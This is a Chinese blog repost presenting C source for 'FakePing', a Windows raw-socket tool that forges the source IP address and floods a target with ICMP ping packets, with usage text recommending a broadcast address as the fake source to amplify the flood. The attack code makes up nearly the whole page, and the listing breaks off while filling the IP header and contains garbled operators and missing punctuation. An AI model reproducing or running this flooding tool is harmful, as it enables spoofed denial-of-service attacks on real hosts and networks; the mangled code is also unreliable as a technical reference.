2013年5月30日星期四

伪装攻击 IP地址的洪水Ping攻击详解之源码

伪装攻击 IP地址的洪水Ping攻击详解之源码

2011-03-17 09:49 佚名 计世网 我要评论(0) 字号:T | T
一键收藏,随时查看,分享好友!
在以前的文章中,我们已经为大家介绍了IP地址的洪水Ping攻击的整个过程,那么本文,将会与大家分享代码部分。
Ping是探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级。
源码公布如下:
  1. typedef struct _IPhdr //定义IP首部  
  2.  
  3. {  
  4.  
  5. unsigned char h_verlen; //4位首部长度,4位IP版本号  
  6.  
  7. unsigned char tos; //8位服务类型TOS  
  8.  
  9. unsigned short total_len; //16位总长度(字节)  
  10.  
  11. unsigned short ident; //16位标识  
  12.  
  13. unsigned short frag_and_flags; //3位标志位  
  14.  
  15. unsigned char ttl; //8位生存时间 TTL  
  16.  
  17. unsigned char proto; //8位协议 (TCP, UDP 或其他)  
  18.  
  19. unsigned short checksum; //16位IP首部校验和  
  20.  
  21. unsigned int sourceIP; //32位源IP地址  
  22.  
  23. unsigned int destIP; //32位目的IP地址  
  24.  
  25. }IP_HEADER;  
  26.  
  27. // 定义ICMP首部  
  28.  
  29. typedef struct _ihdr  
  30.  
  31. {  
  32.  
  33. BYTE i_type; //8位类型  
  34.  
  35. BYTE i_code; //8位代码  
  36.  
  37. USHORT i_cksum; //16位校验和  
  38.  
  39. USHORT i_id; //识别号(一般用进程号作为识别号)  
  40.  
  41. USHORT i_seq; //报文序列号  
  42.  
  43. ULONG timestamp; //时间戳  
  44.  
  45. }ICMP_HEADER;  
  46.  
  47. //CheckSum:计算校验和的子函数  
  48.  
  49. USHORT checksum(USHORT *buffer, int size)  
  50.  
  51. {  
  52.  
  53. unsigned long cksum=0;  
  54.  
  55. while(size >1)  
  56.  
  57. {  
  58.  
  59. cksum+=*buffer++;  
  60.  
  61. size -=sizeof(USHORT);  
  62.  
  63. }  
  64.  
  65. if(size )  
  66.  
  67. {  
  68.  
  69. cksum += *(UCHAR*)buffer;  
  70.  
  71. }  
  72.  
  73. cksum = (cksum 》 16) + (cksum & 0xffff);  
  74.  
  75. cksum += (cksum 》16);  
  76.  
  77. return (USHORT)(~cksum);  
  78.  
  79. }  
  80.  
  81. //FakePing主函数  
  82.  
  83. int main(int argc, char **argv)  
  84.  
  85. {  
  86.  
  87. int datasize,ErrorCode,counter,flag;  
  88.  
  89. int TimeOut=2000SendSEQ=0PacketSize=32;  
  90.  
  91. char SendBuf[65535]=;  
  92.  
  93. WSADATA wsaData;  
  94.  
  95. SOCKET SockRaw=(SOCKET)NULL;  
  96.  
  97. struct sockaddr_in DestAddr;  
  98.  
  99. IP_HEADER IP_header;  
  100.  
  101. ICMP_HEADER icmp_header;  
  102.  
  103. char FakeSourceIP[20],DestIP[20];  
  104.  
  105. //接受命令行参数  
  106.  
  107. if (argc<3)  
  108.  
  109. {  
  110.  
  111. printf("FakePing by Shotgun  
  112.  
  113. ");  
  114.  
  115. printf(" This program can do Ping-Flooding from a FakeIP  
  116.  
  117. ");  
  118.  
  119. printf(" Using a BroadCast IP as the FakeIP will enhance the effect  
  120.  
  121. ");  
  122.  
  123. printf("Email:  
  124.  
  125. ");  
  126.  
  127. printf(" Shotgun@Xici.Net  
  128.  
  129. ");  
  130.  
  131. printf("HomePage:  
  132.  
  133. ");  
  134.  
  135. printf(" http://It.Xici.Net  
  136.  
  137. ");  
  138.  
  139. printf(" http://www.Patching.Net  
  140.  
  141.  
  142. ");  
  143.  
  144. printf("USAGE:  
  145.  
  146. FakePing.exe FakeSourceIP DestinationIP [PacketSize]  
  147.  
  148. ");  
  149.  
  150. printf("Example:  
  151.  
  152. ");  
  153.  
  154. printf(" FakePing.exe 192.168.15.23 192.168.15.255  
  155.  
  156. ");  
  157.  
  158. printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400  
  159.  
  160. ");  
  161.  
  162. exit(0);  
  163.  
  164. }  
  165.  
  166. strcpy(FakeSourceIP,argv[1]);  
  167.  
  168. strcpy(DestIP,argv[2]);  
  169.  
  170. if (argc>3) PacketSize=atoi(argv[3]);  
  171.  
  172. if (PacketSize>60000)  
  173.  
  174. {  
  175.  
  176. printf("Error! Packet size too big, must <60K 
  177.  
  178. ");  
  179.  
  180. exit(0);  
  181.  
  182. }  
  183.  
  184. printf("Now Fake %s Ping %s using Packet size=%d bytes  
  185.  
  186. ",  
  187.  
  188. FakeSourceIP, DestIP, PacketSize);  
  189.  
  190. printf(" Ctrl+C to Quit  
  191.  
  192. ");  
  193.  
  194. //初始化SOCK_RAW  
  195.  
  196. if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)  
  197.  
  198. {  
  199.  
  200. fprintf(stderr,"WSAStartup failed: %d  
  201.  
  202. ",ErrorCode);  
  203.  
  204. ExitProcess(STATUS_FAILED);  
  205.  
  206. }  
  207.  
  208. if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))  
  209.  
  210. ==INVALID_SOCKET)  
  211.  
  212. {  
  213.  
  214. fprintf(stderr,"WSASocket() failed: %d  
  215.  
  216. ",WSAGetLastError());  
  217.  
  218. ExitProcess(STATUS_FAILED);  
  219.  
  220. }  
  221.  
  222. flag=TRUE;  
  223.  
  224. //设置IP_HDRINCL以自己填充IP首部  
  225.  
  226. ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));  
  227.  
  228. if(ErrorCode==SOCKET_ERROR)  
  229.  
  230. printf("Set IP_HDRINCL Error!  
  231.  
  232. ");  
  233.  
  234. __try  
  235.  
  236. {  
  237.  
  238. //设置发送超时  
  239.  
  240. ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));  
  241.  
  242. if (ErrorCode==SOCKET_ERROR)  
  243.  
  244. {  
  245.  
  246. fprintf(stderr,"Failed to set send TimeOut: %d  
  247.  
  248. ",WSAGetLastError());  
  249.  
  250. __leave;  
  251.  
  252. }  
  253.  
  254. memset(DestAddr,0,sizeof(DestAddr));  
  255.  
  256. DestAddr.sin_family=AF_INET;  
  257.  
  258. DestAddr.sin_addr.s_addr=inet_addr(DestIP);  
  259.  
  260. //填充IP首部  
  261.  
  262. IP_header.h_verlen=(4《4   sizeof(IP_header)/sizeof(unsigned long)); //高四位IP版本号,低  
  263.  
  264. 四位首部长度  
  265.  
  266. IP_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) IP_header.ident=1; //16位标识 IP_header.frag_and_flags=0; //3位标志位 IP_header.ttl=128; //8位生存时间 TTL IP_header.proto=IPPROTO_ICMP;  
IP地址的洪水Ping攻击的代码比较复杂,但是代码都进行了注释,这样大家就能更容易的理解了。

没有评论:

发表评论